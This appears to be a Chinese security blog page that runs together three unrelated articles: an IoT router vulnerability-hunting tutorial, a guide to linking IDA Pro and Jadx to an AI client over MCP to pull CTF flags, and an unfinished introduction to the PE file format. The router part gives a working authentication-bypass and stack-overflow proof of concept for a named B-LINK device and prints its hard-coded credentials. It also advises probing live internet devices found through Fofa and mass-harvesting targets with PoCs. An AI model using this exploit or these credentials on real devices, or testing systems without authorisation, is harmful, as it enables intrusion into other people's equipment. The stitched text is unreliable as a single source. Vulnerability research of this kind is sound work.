【技术分享】IoT 安全 白盒视角下的漏洞挖掘
留言记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备，这类设备普遍开发成本低、安全意识薄弱，代码写得比较随意，防护机制简陋，是漏洞高发重灾区。不同于互联网网站漏洞，IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开，门槛有高有低。入门玩法不用精通高深逆向，靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞，上手快、出洞效率高，很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设，很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑，也能轻松提交漏洞平台拿证书，当作技术积累再合适不过。寻找目标挖漏洞不难，难在找目标、搞到源码，前期核心都是信息收集。在开始分析之前，必须先确定目标，以下是推荐的搜集方式：1.在购物平台找网络设备，比如：路由器、摄像头，然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目，这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide，记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库，搜 路由器、IoT、固件 关键词，找已公开漏洞的型号或公司。固件提取找到目标后，一般官网上都有路由器升级固件，如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法，可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程：下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密，无法直接解包，可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件，也能在 GitHub 找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢？binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例，binwalk -E 跑一下固件，熵值全程快接近 1.0，那这固件就是加密或者强压缩，直接解包肯定解不开。固件实在解不了密，不一定非要做白盒审计，黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据，也能挖出漏洞。互联网资产一般解包后，我做的第一件事，是先确定指纹，很简单解包里会有前端代码，我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash，或者 body、title 关键字。有的设备在互联网压根就没资产，就纯内网使用，如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交，不用找资产，只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多，完整固件仿真难度普遍较高，或者买个路由器挖（滑稽）很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式：qemu 单个程序测试（这也是常见的IoT漏洞挖掘方式）EMUX 完整运行先把 EMUX 项目下载到本地，比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢，可以自己挂代理，到 Github 上下载项目源码，然后解压执行以下命令。cd emux ./build-emux-volume ./build-emux-docker安装完成后就能使用了，EMUX 目录结构：C:. ├─docs # 文档、说明与截图存放目录 │ └─img # 文章/报告所用图片 ├─files # emux 运行相关文件总目录 │ ├─emux # emux 固件仿真环境核心目录 │ │ ├─firmware # 待仿真固件存放目录，按设备型号分类 │ │ │ ├─AC15 # 路由器 AC15 固件相关 │ │ │ │ ├─flashmem │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─ARCHERC9 │ │ │ │ ├─kernel │ │ │ │ └─preload │ │ │ ├─DCS935L # 摄像头 DCS935L 固件 │ │ │ │ └─kernel │ │ │ ├─DIR615C # DIR615C 路由器固件 │ │ │ │ └─kernel │ │ │ ├─DV-ARM # ARM 架构调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEB # MIPS 大端调试固件 │ │ │ │ └─kernel │ │ │ ├─DV-MIPSEL # MIPS 小端调试固件 │ │ │ │ └─kernel │ │ │ ├─PH0WNCTF # CTF IoT 题目固件 │ │ │ │ └─kernel │ │ │ └─TRI227WF # 路由器 TRI227WF 固件 │ │ │ └─kernel │ │ ├─hostfs # 与仿真系统共享的文件系统 │ │ ├─run # 仿真启动脚本、运行日志 │ │ └─template # 通用仿真模板（内核、预加载配置） │ │ ├─kernel │ │ └─preload │ ├─etc # 系统及工具配置 │ │ ├─local.d │ │ └─tinyproxy # 代理配置 │ └─home │ └─r0 # 调试用户环境 │ ├─config │ │ └─pip │ ├─dircolors │ ├─gef # GDB-GEF 调试环境配置 │ └─ssh └─workspace # 个人工作目录，用于漏洞分析、脚本编写EMUX 默认自带了固件在 firmware 文件夹里，我们需要注意的就是这个，下载的固件解包后都要放到这里面。可以参考它自带的固件模板，然后配置下 firmware 文件夹里的 devices 就行。这里我以 BL‑CPE450H 固件为例（已通过binwalk解包）。在固件目录下创建 config、nvram.ini 及 kernel 文件夹，内容如下：# config 配置 # Tinysploit MIPSEL 仿真配置 id=firmware/BL-CPE450H # 固件型号与路径 #nvram=nvram.ini # NVRAM配置（未启用） rootfs=cpio-root # 指定根文件系统 randomize_va_space=0 # 关闭ASLR，便于漏洞调试 legacy_va_layout=1 # 兼容旧设备内存布局 mount_dev_tree=1 # 挂载/dev设备目录 mount_proc=1 # 挂载/proc进程目录 mount_sys=1 # 挂载/sys系统目录 initcommands="/etc_ro/rcS;/bin/sh" # 启动脚本+交互shell配置实在不懂，可以问 AI 比如 initcommands 的配置，每个固件都不同，有的不用 /etc_ro/rcS;。# nvram.ini 配置（固件仿真所需硬件参数，扣代码填数据） WebInit=1 # Web管理界面初始化开关 OperationMode=1 # 设备工作模式 Login=admin # 后台登录账号 Password=admin # 后台登录密码 lan_ipaddr=192.168.1.1 # 内网管理地址 lan_netmask=255.255.255.0 # 子网掩码 SSID=B-LINK # WiFi名称 blinkssid=B-LINK # 设备默认WiFi名称 AuthMode=WPAPSK # WiFi加密方式 HideSSID=0;0; # 是否隐藏WiFi（0=不隐藏）# devices 配置 firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router这些配置跟 devices 文件内容要对应的，比如用到小端序 qemu-system-mipsel。内核用 vmlinux-2.6.32.5-malta-mipsel 那么 kernel 文件夹必须要有这个文件。不太懂可以参考官方自带的模板。./build-emux-docker # 构建镜像，让所有配置生效配置写完必须跑一遍这条命令，改了配置也要重新执行，不然不生效。./run-emux-docker # 启动固件仿真环境最后执行这条命令，进行启动。# [EMUX-DOCKER 🐳] /home/r0# launcher launcher # 启动仿真到 EMUX 交互界面再输入以上命令。发现已经添加成功了，鼠标点击选择下 BL-CPE450H 然后 OK。输入 root 账号，进行回车。有三种模式:0：默认宿主机 shell，不启动仿真，改配置用1：完整启动路由器，正常用/测漏洞用2：直连路由器控制台，调试/排错用我选第二个，直接启动完整路由器。不出意外的情况下，还是出意外了，第一个问题：goahead 缺 nvram_daemon。既然仿真环境没有这个守护进程，不折腾了，直接反编译 goahead 二进制打补丁，跳过 nvram 检查。哪里卡壳就 patch 哪里，也可借助 AI 找出需跳过的判断逻辑。// goahead 代码 int __fastcall ftext(int argc, const char *argv, const char *envp) { int v3; int v4; int v5; int v6; int v7; int v8; const char *v9; _BYTE *v10; _BYTE *v11; int v12; unsigned int v13; int v14; int v15; int v16; _BYTE v18[4]; int v19; char v20[200]; int v21; bopen(0, 61440, 1); signal(13, 1); v3 = fopen("/var/run/goahead.pid", "w+"); if ( v3 ) // NOP 0x004052F8 { v4 = getpid(); fprintf(v3, "%d", v4); fclose(v3); while ( !GetPid("nvram_daemon") ) // NOP 0x00405380 sleep(5); memset(v20, 0, sizeof(v20)); signal(24, sub_4492B8); signal(17, 1); signal(26, hotPluglerHandler); v5 = open("/dev/gpio", 0); v6 = v5; if ( v5 < 0 ) // NOP 0x00405404 { perror("/dev/gpio"); } else if ( ioctl(v5, 17, 1) >= 0 ) // NOP 0x00405424 { } else if ( ioctl(v6, 8, v7) >= 0 ) // NOP 0x00405440 { } else if ( ioctl(v6, 10, v18) >= 0 ) { close(v6); signal(16, sub_449240); } else { perror("ioctl"); close(v6); } signal(31, WPSSingleTriggerHandler); if ( sub_4493D8() >= 0 ) // NOP 0x004054C0 { v8 = nvram_bufget(0, "OperationMode"); if ( !atoi(v8) ) // NOP 0x00405500 { memset(v20, 0, sizeof(v20)); sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" > /proc/%s/DHCP_Dns", "mt7628"); doSystem(v20); } if ( initInternet() >= 0 ) // NOP 0x0040551C { v9 = (const char *)nvram_bufget(0, "lan_ipaddr"); socketOpen(); v10 = (_BYTE *)nvram_bufget(0, "Login"); v11 = (_BYTE *)nvram_bufget(0, "Password"); umOpen(); umAddGroup("adm", 7, 3, 0, 0); if ( v10 && *v10 && v11 && *v11 ) { umAddUser(v10, v11, "adm", 0, 0); umAddAccessLimit("/", 3, 0, "adm"); } else { error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password"); } if ( v9 ) // NOP 0x00405614 { v12 = inet_addr(v9); if ( v12 != -1 ) // NOP 0x00405634 { strcpy(v20, "/etc_ro/web"); v21 = v12; websSetDefaultDir(v20); v21 = inet_ntoa(v21); v13 = strlen(v21) + 1; v14 = 128; if ( v13 < 0x80 ) v14 = v13; ascToUni(v18, v21, v14); websSetIpaddr(v18); websSetHost(v18); websSetDefaultPage("login.asp"); websSetPassword(""); websOpenServer(80, 5); websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1); websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0); websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0); websUrlHandlerDefine("", 0, 0, websDefaultPage, 2); formDefineCGIjson(); websUrlHandlerDefine("/", 0, 0, sub_449360, 0); if ( !*(_BYTE *)nvram_bufget(0, "Password") ) { doSystem("echo 'admin:x:0:admin' > /etc/group"); doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' > /etc/passwd"); doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-"); } v15 = nvram_bufget(0, "Login"); strcpy(&g_User, v15); v16 = nvram_bufget(0, "Password"); strcpy(&g_Pass, v16); strcpy(&g_baseUser, "adminblink"); strcpy(&g_basePass, "blinkadmin"); while (1) { if ( socketReady(-1) || socketSelect(-1, 1000) ) socketProcess(-1); websCgiCleanup(); emfSchedProcess(); } } error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9); } else { error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM"); } } } } else { error("goahead.c", 240, 2, "goahead.c: cannot open pid file"); } return -1; }比较懒 IDA Pro 也没装插件，一个一个打太麻烦了，这里我用 radare2 -w 直接刷过去。# r2 -w goahead aaa oo+ s 0x00405380 wx 00000000 s 0x00405404 wx 00000000 s 0x00405424 wx 00000000 s 0x00405440 wx 00000000 s 0x00405614 wx 00000000 s 0x00405634 wx 00000000 s 0x004052F8 wx 00000000 s 0x004054C0 wx 00000000 s 0x00405500 wx 00000000 s 0x0040551C wx 00000000 qs 0x00405380 wx 00000000 → while (!GetPid("nvram_daemon")) sleep(5); // NOP s 0x00405404 wx 00000000 → if ( v5 < 0 ) // NOP s 0x00405424 wx 00000000 → if ( ioctl(v5, 17, 1) >= 0 ) // NOP s 0x00405440 wx 00000000 → if ( ioctl(v6, 8, v7) >= 0 ) // NOP s 0x00405614 wx 00000000 → if ( v9 ) // NOP s 0x00405634 wx 00000000 → if ( v12 != -1 ) // NOP s 0x004052F8 wx 00000000 → if ( v3 ) // NOP s 0x004054C0 wx 00000000 → if ( sub_4493D8() >= 0 ) // NOP s 0x00405500 wx 00000000 → if ( !atoi(v8) ) // NOP s 0x0040551C wx 00000000 → if ( initInternet() >= 0 ) // NOP q以上是对应 nop 地址与代码位置。chmod -R 777 BL-CPE450H 修改完要运行一定要给权限，不然仿真会没权限运行失败。打完补丁后，重复上面的 EMUX 操作重新启动，就成功能访问了。序号外部端口（Linux系统）内部端口（模拟的系统）120080192.168.100.2:80220443192.168.100.2:443328080192.168.100.2:8080424433192.168.100.2:443359999192.168.100.2:9999这是端口映射表，比如仿真的路由器访问 web 端口是 8080 ，在实体机访问 28080。QEMU 单个运行像 cgi-bin、bin 目录里放的都是可执行程序，只是芯片架构（MIPS、ARM 等）跟电脑不同，运行不了，要用 QEMU 来模拟。可以通过 file 命令 查看程序的架构、字节序，区分是大端序还是小端序，方便后续仿真。这里显示 LSB 表示小端序，对应使用 qemu-mipsel，MSB 表示大端序，对应使用 qemu-mips。架构标识端序QEMU 对应命令MIPSEL (LSB)小端序qemu-mipselMIPS (MSB)大端序qemu-mipsARM (LSB)小端序qemu-armARM64 (LSB)小端序qemu-aarch64这里以 busybox 举例也是成功运行了，那么就可以通过这种方式单个程序测试漏洞了。漏洞挖掘未授权漏洞IoT 未授权是最好的突破口，因为有的设备根本不需要认证，当然也会遇到授权后漏洞利用的情况。那么怎么测未授权呢？非常简单，说说我平时常用的操作：1.先登录路由器，用 Yakit 抓包，功能都点一遍，收集接口，进行模糊测试。2.解包固件，在代码里找接口，然后用 Yakit 批量请求接口，不加任何头部认证。3.查找该设备有没有公开漏洞，从已有的报告或文章里了解漏洞、构造请求接口。4.硬核一点就纯看代码配合AI，不用仿真直接看出接口跟漏洞，然后线上实测。cgi-bin 本质就是文件系统，最容易出现未授权访问。栈溢出漏洞这是我挖到的最简单的栈溢出基于 cgi-bin 未授权，程序代码也没做任何防护。# 本地 QEMU 模拟运行，绕过认证 + 栈溢出 echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi通过 qemu-mipsel 直接本地运行路由器固件中的 lighttpd.cgi，携带 loginauth 字段即可绕过鉴权，并通过超长字符串触发栈溢出漏洞。// lighttpd.cgi 代码 int __fastcall ftext(int argc, const char **argv, const char **envp) { int v3; // $s2 char *v4; // $a0 int v5; // $s1 int v6; // $s0 int v7; // $v0 int v8; // $a0 _BYTE v10[16384]; // [sp+18h] [-4000h] BYREF memset(v10, 0, sizeof(v10)); v3 = getenv("AUTHORIZATION"); // 获取请求头中的 Authorization 认证信息 v4 = (char *)getenv("CONTENT_LENGTH"); if ( !v4 ) v4 = ""; v5 = strtol(v4, 0, 10) + 1; if ( v5 >= 2 ) { v6 = malloc(v5); if ( v6 ) { if ( sub_400E98() ) { LABEL_12: free(v6); return 0; } memset(v6, 0, v5); fgets(v6, v5, stdin); // 读取 POST 提交的内容 v7 = strstr(v6, "loginauth"); // 检查提交的参数里有没有 loginauth // 如果 POST 数据 包含 loginauth 字段 if ( !v7 ) { // 没有 loginauth 才会校验账号密码 if ( !check_auth(v3) ) { // 认证失败返回 {"result":8} strcpy(v10, "{\"result\":8}"); sub_400BE0(); LABEL_11: puts(v10); goto LABEL_12; } v8 = v6; } // 只要 POST 包含 loginauth 字段，直接跳过密码校验 // 无需账号、无需密码、无需 token，直接进入核心功能 share_func(v8, v10); // 溢出点在 share_func 函数里 goto LABEL_11; } } return 0; }这里我通过 grep -r 快速定位 share_func 函数在哪个动态链接库里。 找到后 libblinkapi.so 用 IDA Pro 反编译，审计下就能发现 strcpy(v16, v11); 是有问题的。// libblinkapi.so // 参数 a1 = 传入的JSON字符串（包含type和loginauth） // 参数 a2 = 输出缓冲区，用于存放返回结果 int __fastcall share_func(int a1, _BYTE *a2) { int v4; // $v0 int v5; // $s2 _BYTE *v6; // $a0 const char *v7; // $a1 int ObjectItem; // $v0 int v10; // $s3 int v11; // $a1 int v12; // $s3 int v13; // $s6 char *v14; // $s4 _BYTE v15[16384]; // [sp+18h] [-4100h] BYREF char v16[256]; // [sp+4018h] [-100h] BYREF 局部变量，仅256字节栈空间 memset(v15, 0, sizeof(v15)); // 1. 解析我们传入的JSON数据：{"type":"getmanpwdAAA...","loginauth":""} v4 = cJSON_Parse(a1); v5 = v4; if ( !v4 ) { v6 = v15; v7 = "{\"result\":7}"; LABEL_5: strcpy(v6, v7); return -1; } // 2. 提取JSON中的 "type" 字段内容 // 也就是我们传入的：getmanpwd + 超长AAA...BBB...字符串 ObjectItem = cJSON_GetObjectItem(v4, "type"); if ( !ObjectItem ) { strcpy(v15, "{\"result\":7}"); cJSON_Delete(v5); v6 = a2; v7 = v15; goto LABEL_5; } // 拿到 type 字符串指针 v10 = *(_DWORD *)(ObjectItem + 16); // 清空 v16 缓冲区（大小只有 256 字节） memset(v16, 0, sizeof(v16)); v11 = v10; v12 = 0; // 危险函数：strcpy(目标，源) // 目标：v16 只有 256 字节栈空间 // 源：我们传入的超长 type 字符串（几百字节） // 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出 strcpy(v16, v11); v13 = strlen(v16); do { v14 = &blink_handle[68 * v12]; if ( v13 == strlen(v14) && !memcmp(v16, v14, v13) ) { (*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15); goto LABEL_12; } ++v12; } while ( v12 != 124 ); sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16); LABEL_12: cJSON_Delete(v5); strcpy(a2, v15); return 0; }1.loginauth → 绕过认证2.type 后面跟超长字符串3.进入 share_func 后，执行 strcpy(v16, 超长字符串)4.v16 只有 256字节，直接 → 栈溢出那么就可以基于这个突破口 get shell 了，没写 exp 构造也很简单。硬编码漏洞这种最好挖了，基本像什么路由器登录密码，固件解包密码都是硬编码写在固件里。硬编码漏洞直接用 firmwalker、IDA、grep、strings 搜敏感关键字就行。固件解包之后，拿 strings、grep 一顿搜 password、admin、key、secret、token 这些关键词。用 firmwalker 扫更省事，会自动帮你找出写死的敏感信息。拒绝服务漏洞常见的几种路子：1.接口疯狂发包，看设备会不会直接卡死、重启、断服务。2.给接口传超大包、超长参数，撑爆内存或进程，直接打宕。3.对一些没校验的 CGI 接口，无脑 Fuzz 畸形数据，很容易触发崩溃。4.有些逻辑漏洞也能造成 DoS，比如死循环、无限创建进程，设备直接跑满卡死。5.未授权接口反复调用，把设备资源占满，服务直接不可用。后门漏洞常见的几种路子：1.有些厂商为了方便后期维护调试，会特意预留专用后门账号或接口。2.开发测试阶段加的临时入口、调试功能，上线前没及时删掉。3.代码审核不严格，隐藏的后门逻辑直接留在固件里没被发现。4.还有部分后门是隐蔽的硬编码口令、万能密码，同型号设备通用。5.解包固件或者黑盒测试接口，很容易找到这些隐藏入口直接拿权限。远程命令执行漏洞常见的几种路子：1.接口对传入的参数没做过滤，直接拼接到系统命令里执行，可控点直接拿权限。2.一些 CGI 脚本处理用户数据时不严谨，恶意参数直接被当成系统命令运行。3.上传点、恢复配置、固件升级等功能没校验内容，被植入恶意命令执行。4.代码里直接用 system、popen 这类函数，且外部可控，极易被利用。5.未授权访问的命令调用接口，构造 payload 就能远程执行任意命令。组合利用 这也是我最喜欢的环节，一步一步绕过限制、构造 payload。最终打出完整利用链，整个过程特别让人兴奋，就讲这么多了。结尾挖洞方法论（个人研究）序号思路口诀核心用法适用场景1先媒介后漏洞从入口、交互点入手遍历测试与Fuzz，高效批量测试日常刷洞、实战渗透、快速量产出洞2先漏洞后媒介预设漏洞类型，反向寻找可触发路径深挖0day、深度安全研究、挖掘高端漏洞3先资产后漏洞全面摸排域名、端口、服务等资产逐一测试常规打点、SRC批量挖洞，稳健积累漏洞4先漏洞后资产持有POC、1day、0day，全网匹配对应目标资产漏洞爆发批量收割、红队快速拿分5先权限后漏洞梳理各级账号权限，直击权限校验短板挖掘未授权、横向越权等高价值业务漏洞6先功能后逻辑走完完整业务流程，寻找流程逻辑缺陷挖掘权限绕过、数据篡改、业务流程漏洞7先流量后代码抓取分析请求流量与参数，纯黑盒排查隐患无源码环境，零基础高效黑盒挖洞8先输入后解析构造畸形特殊输入，冲击后端数据解析模块文件解析、XML、富文本类漏洞挖掘9先边界后溢出拿捏数据长度、字符、数值边界临界点字符串截断、权限绕过、栈堆溢出类漏洞10先默认后配置优先检测默认账号、路径、出厂配置运维疏漏漏洞，低成本快速挖到通用弱洞11先依赖后本体优先审计第三方组件、框架、中间件快速利用通用组件漏洞，降低挖洞难度12先同源后跨域先突破同域权限，再攻坚跨域相关防护前端安全、单点登录、子域权限突破13先历史后现网调取历史域名、备份文件、老旧源码发掘遗留废弃接口、陈年未修复漏洞14先会话后身份窃取会话凭证顶替合法身份，绕过登录校验免密登录、身份劫持、无声获取后台权限15先可控后利用围绕外部可控点位，定向构造攻击载荷命令执行、SQL注入、任意文件读写通用打法实操挖洞从来不是死啃理论，多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大，只要沉下心深耕，不管是练手积累证书，还是深挖原生零日漏洞，都能收获满满，技术之路贵在坚持与实操。最后送给看文章的小伙伴们：实践出真理。
简介做逆向分析的时候，大家肯定都有这种体验：在 IDA Pro、Jadx 之间来回切，手动复制内存地址、对着代码逐行比对，不仅慢得让人着急，还特别容易出错。而 MCP（Model Context Protocol，模型上下文协议）就是来解决这个问题的！它能把 IDA Pro、Jadx 和 Trae AI 完美连起来，实现工具间的数据互通、操作联动。今天这篇教程就手把手教你配置这套环境，让你告别工具割裂的麻烦，用 AI 一站式搞定逆向分析。一、环境准备为了避免版本不兼容踩坑，建议大家直接照着下面的环境来搭，亲测稳定不翻车：操作系统：Windows 11版本控制：Git运行环境：Python 3.11.8（重点！别用其他版本）逆向工具：IDA Pro 8.3AI 客户端：Trae AI二、Git 安装Git 是安装 ida-pro-mcp 的必需品，主要用来从 GitHub 拉取插件源码，步骤超简单：1.打开浏览器，访问 Git 官网下载 Windows 版本：https://git-scm.com/install/windows2.双击安装包，一路点“下一步”，默认配置完全够用，不用折腾3.安装完成后，按 Win+R 输入 cmd 打开命令行，敲入 git --version，如果能显示版本号，就说明装好了{abtn icon="fa-git-square" color="#000" href="https://git-scm.com/install/windows" radius="" content="Git 官网"/}三、Trae 联动 IDA Proida-pro-mcp 是连接 IDA Pro 和 MCP 协议的核心，有了它，Trae AI 才能直接调用 IDA 的分析能力，我们一步步来：步骤 1：安装 ida-pro-mcp首先右键点击“命令提示符”，选择“以管理员身份运行”（权限不够会装失败），然后复制下面的命令敲进去：pip install --upgrade git+https://github.com/mrexodia/ida-pro-mcp这里提个醒：如果碰到网络超时、连接重置的情况，就是访问 GitHub 受限了。直接去仓库地址（https://github.com/mrexodia/ida-pro-mcp）下载 ZIP 包，解压后进入解压目录，执行 pip install . 就能本地安装了。步骤 2：安装 IDA 插件插件装完后，不用手动拷贝文件，在刚才的管理员命令行里继续敲：ida-pro-mcp.exe --install执行成功后，插件会自动放到 IDA Pro 的插件目录里，以后打开 IDA，MCP 服务就会自动加载，特别省心。步骤 3：Trae AI MCP 配置打开 Trae AI，找到 MCP 服务器的配置页面，把下面的 JSON 代码完整复制进去就行：四、联动使用流程1.如果是使用工具包，第一次运行 IDA 需要以管理员身份运行一次 IDA_Pro_8.3_绿化工具.exe 初始化下 IDA。2.然后去 IDA 安装目录里找 idapyswitch.exe 并运行，把 Python 版本切换到 3.11.8，这样 IDA 才能正常加载 MCP 插件。3.先打开 IDA Pro，加载你要分析的程序（比如 CrackMe），等底部状态栏显示“Ready”，就说明反汇编完成了。然后点击顶部的「Edit」→「Plugins」→「MCP」，开启 MCP 服务，这时 IDA 就会在 13337 端口等着 Trae 连接了。4.切回 Trae AI，在 MCP 配置页面确认一下之前的配置没错，完成连接设置。5.把执行 ida-pro-mcp --config 命令得到的配置信息，手动填到 Trae AI 的 MCP 配置里，确保参数都对得上。MCP 配置{ "mcpServers": { "ida-pro-mcp": { "command": "C:\\Program Files\\Python311\\python.exe", "args": [ "C:\\Program Files\\Python311\\Lib\\site-packages\\ida_pro_mcp\\server.py", "--ida-rpc", "http://127.0.0.1:13337" ] } } }简单说下配置里的关键点，别配错了：command：填你安装 Python 3.11.8 的路径，必须和装插件时的 Python 一致args：固定写法，不用改，作用是启动 MCP 服务端，连接 IDA 的 13337 端口保存之后，Trae AI 就会自动尝试连接 IDA 的 MCP 服务了6.在 Trae AI 里，把智能体切换成「Builder with MCP」模式，这个模式才支持调用 IDA 的服务。7.最后一步，在 Trae AI 的聊天框里输入下面这句话，让 AI 开始工作：我已经用ida打开了一个程序，请用mcp的方式分析并输出flag8.稍等一会儿，Trae AI 就会自动读取 IDA 里的代码信息，分析加密逻辑，最后直接把正确的 Flag 给你输出来，全程不用手动操作！五、Trae 联动 Jadx1.Jadx 插件可在线下载；若访问受限，前往仓库手动获取：https://github.com/zinja-coder/jadx-ai-mcp。手动安装（推荐）1.将 jadx-ai-mcp-6.1.0.jar、jadx-mcp-server-v6.1.0.zip 放入 Jadx 根目录，并手动选择安装 jadx-ai-mcp-6.1.0.jar。2.解压 jadx-mcp-server-v6.1.0.zip，命令行进入解压目录，执行：pip install -r requirements.txtMCP 配置{ "mcpServers": { "jadx-mcp-server": { "command": "C:\\PROGRA~1\\Python311\\python.exe", "args": [ "D:\\VoxShadow\\Jdax\\jadx-mcp-server-v6.1.0\\jadx_mcp_server.py" ] } } }2.按实际路径修改 command 与 args，复制到 Trae AI MCP 配置页（同 IDA 配置方式）。Trae AI 切换到「Builder with MCP」模式，发送指令：我已经用jadx打开了一个程序，请用mcp的方式分析并输出flag3.AI 自动读取 Jadx 代码、分析逻辑并输出 Flag，也可以进行黑盒代码审计了。六、整合包下载用到的软件我都已经打包好了，下载就能按照文章进行配置使用。{cloud title="IDA+Jadx+Trae工具包" type="bd" url="https://pan.baidu.com/s/1PP2sbVkREX8gvgKb8h4eHQ?pwd=2085" password="2085"/}
简介在了解PE结构之前，先简要回顾下可执行文件的概念。可执行文件是可以被操作系统加载并运行的文件。Windows与Linux的可执行文件格式：Windows平台的可执行文件格式是 PE（Portable Executable） 文件结构。Linux平台的可执行文件格式是 ELF（Executable and Linking Format） 文件结构。命名含义PE 的全称是 Portable Executable，意为“便携的可执行文件”。ELF 的全称是 Executable and Linking Format，意为“可执行和链接格式”。差异点PE文件结构 是跨版本兼容的。例如，Windows 7上的可执行文件可以在Windows 8、Windows 10等版本中正常运行。ELF文件结构 则依赖于内核版本，使用不同内核编译的程序无法在不兼容的环境中运行。应用场景PE文件结构在以下领域具有重要意义：病毒和反病毒技术：病毒感染机制和杀毒软件的检测都需要深入理解PE结构。外挂与反外挂：外挂注入与反外挂保护的关键技术点通常基于PE文件操作。加壳与脱壳：保护软件代码的壳技术，以及针对壳保护的破解技术都依赖于对PE结构的掌握。逆向与修改：在没有源码的情况下对程序功能进行修改、汉化或调试也需要了解PE文件的内部结构。PE结构表PE文件结构.pdfPE结构分析DOS_HANDER32位操作系统，每个进程的虚拟地址空间只能访问4GB的内存，其中2GB是在用户空间，另外2GB是在内核空间，对于64位操作系统，每个进程的虚拟地址空间可以访问更大的内存，一般将用户空间分配给进程可用的全部内存，而内核空间仍然是2GB。(题外话)用16进制编辑器打开程序，一行16进制有16个字节，而DOS_HANDER是给16位计算机用的，到现在的32位和64位程序依然保留了这个数据结构，详细参数可参考以上的PE结构表，在 DOS_HANDER 唯一重要的两个参数是 e_magic 和 e_lfanew，一个是标记用来判断是否是可执行程序，第二个是用来定位PE头位置的，其余的参数都可以用 00，nop 填充因为用不到。DOS_SUBDOS_SUB是在DOS_HANDER和PE标准头的中间这一块，这里面的数据也可以00，nop填充掉当然也可以插入自己的数据，如恶意代码。PE_HANDER以上 DOS_HANDER 中的 e_lfanew 参数是存储的是 08 01 在PE结构中存在大小端，要反着来 08 01 反过来是 0108 也就是 108 对应的文件偏移定位到 50 48 00 00 这里就是PE头了，PE标识占 4 个字节，而标准PE头占 20 个字节，可以参考以上PE表，第一个参数是 Machine 这个参数可以区分程序是多少位的，可以看到是 4C 01 反过来是 014c 也就是 14c 那么是 32位程序了，64位程序就是 8664。PE扩展头65 C8 05 00 反过来 0005c865，就是这个 AddressOfEntryPoint 程序入口地址，ImageBase 是 00 00 40 00 反过来就是 00400000，剩下的结构可以参考PE结构表。PE地址转换介绍FOV (File Offset Value)：文件偏移量值，指的是 PE 文件中某个数据在文件中的偏移地址。RVA (Relative Virtual Address)：相对虚拟地址，指的是 PE 文件中某个数据在内存中的地址与该模块基地址之间的相对距离。VA (Virtual Address)：虚拟地址，指的是 PE 文件中某个数据在内存中的绝对地址。FOV文件偏移计算FOV = RVA - Virtual Offset + Raw 